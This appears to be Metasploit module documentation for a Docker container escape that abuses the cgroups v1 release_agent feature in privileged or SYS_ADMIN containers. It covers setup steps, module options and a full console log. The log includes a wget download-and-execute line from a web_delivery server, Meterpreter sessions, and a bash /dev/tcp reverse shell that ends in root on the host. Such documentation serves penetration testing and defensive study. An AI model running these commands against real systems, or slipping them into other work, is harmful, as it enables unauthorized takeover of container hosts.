Vulnerable Application
This exploit module takes advantage of a Docker image which has either the privileged flag, or SYS_ADMIN Linux capability. If the host kernel is vulnerable, its possible to escape the Docker image and achieve root on the host operating system.
A vulnerability was found in the Linux kernel's cgroup_release_agent_write
in the kernel/cgroup/cgroup-v1.c
function. This flaw, under certain circumstances, allows the use of the cgroups v1 release_agent
feature to escalate privileges and bypass the namespace isolation unexpectedly.
More simply put, cgroups v1 has a feature called release_agent
that runs a program when a process in the cgroup terminates. If notify_on_release
is enabled, the kernel runs the release_agent
binary as root. By editing the release_agent file, an attacker can execute their own binary with elevated privileges, taking control of the system. However, the release_agent
file is owned by root, so only a user with root access can modify it.
Docker Setup
sudo docker run --rm -it --privileged ubuntu:20.04 bash
or
sudo docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu:20.04 bash
You may want to install wget
to make initial exploitation easier as well:
apt-get update
apt-get install -y wget
Verification Steps
Install Docker and start a docker container
Start msfconsole
Get a shell on the docker image as root.
Do: use exploit/linux/local/docker_cgroup_escape
Do: set lhost [ip]
Do: set session [#]
Do: run
You should get a root shell on the host OS.
Options
Scenarios
Ubuntu 18.04 LTS with 4.15.0-96-generic kernel and Docker Ubuntu 20.04
Initial Access
resource (docker.rb)> use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
resource (docker.rb)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (docker.rb)> set srvport 8181
srvport => 8181
resource (docker.rb)> set target 7
target => 7
resource (docker.rb)> set payload payload/linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
resource (docker.rb)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] Using URL: http://1.1.1.1:8181/QZWpVr8t
[*] Server started.
[*] Run the following command on the target machine:
wget -qO dLFtachL --no-check-certificate http://1.1.1.1:8181/QZWpVr8t; chmod +x dLFtachL; ./dLFtachL& disown
[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) >
[*] 2.2.2.2 web_delivery - Delivering Payload (250 bytes)
[*] Sending stage (3045380 bytes) to 2.2.2.2
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:60288) at 2023-11-28 13:38:39 -0500
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > sessions -i 1
[*] Starting interaction with 1...
(Meterpreter 1)(/) > getuid
Server username: root
(Meterpreter 1)(/) > sysinfo
Computer : 172.17.0.2
OS : Ubuntu 20.04 (Linux 4.15.0-96-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
Exploit the Docker Escape
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/linux/local/docker_cgroup_escape
[*] Using configured payload cmd/unix/reverse_bash
[msf](Jobs:1 Agents:1) exploit(linux/local/docker_cgroup_escape) > set lhost 1.1.1.1
lhost => 1.1.1.1
[msf](Jobs:1 Agents:1) exploit(linux/local/docker_cgroup_escape) > set lport 9988
lport => 9988
[msf](Jobs:1 Agents:1) exploit(linux/local/docker_cgroup_escape) > set verbose true
verbose => true
[msf](Jobs:1 Agents:1) exploit(linux/local/docker_cgroup_escape) > set session 1
session => 1
[msf](Jobs:1 Agents:1) exploit(linux/local/docker_cgroup_escape) > run
[+] bash -c '0<&181-;exec 181<>/dev/tcp/1.1.1.1/9988;sh <&181 >&181 2>&181'
[*] Started reverse TCP handler on 1.1.1.1:9988
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Unable to determine host OS, this check method is unlikely to be accurate if the host isn't Ubuntu
[+] The target is vulnerable. IF host OS is Ubuntu, kernel version 4.15.0-96-generic is vulnerable
[*] Creating folder for mount: /tmp/eH7EY
[*] Creating directory /tmp/eH7EY
[*] /tmp/eH7EY created
[*] Mounting cgroup
[*] Creating folder in cgroup for exploitation: /tmp/eH7EY/qe0oj7G
[*] Creating directory /tmp/eH7EY/qe0oj7G
[*] /tmp/eH7EY/qe0oj7G created
[*] Enabling notify on release for group qe0oj7G
[*] Determining the host OS path for image
[*] Host OS path for image: /var/lib/docker/overlay2/c8b82079007d1f6dcf042787cd450ffe045595be11c29ca5b119d1802cfaa22f/diff
[*] Setting release_agent path to: /var/lib/docker/overlay2/c8b82079007d1f6dcf042787cd450ffe045595be11c29ca5b119d1802cfaa22f/diff/tmp/KksBaCbF
[*] Uploading payload to /tmp/KksBaCbF
[*] Writing '/tmp/KksBaCbF' (88 bytes) ...
[*] Triggering payload with command: sh -c "echo $$ > /tmp/eH7EY/qe0oj7G/cgroup.procs"
[*] Command shell session 2 opened (1.1.1.1:9988 -> 2.2.2.2:54990) at 2023-11-28 14:39:10 -0500
[*] Cleanup: Unmounting /tmp/eH7EY
FDjfSpoVnqvGmrtBOSRfABBgFMmcSkbT
id
uid=0(root) gid=0(root) groups=0(root)
cat /etc/os-release
NAME="Ubuntu"
VERSION="18.04 LTS (Bionic Beaver)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 18.04 LTS"
VERSION_ID="18.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=bionic
UBUNTU_CODENAME=bionic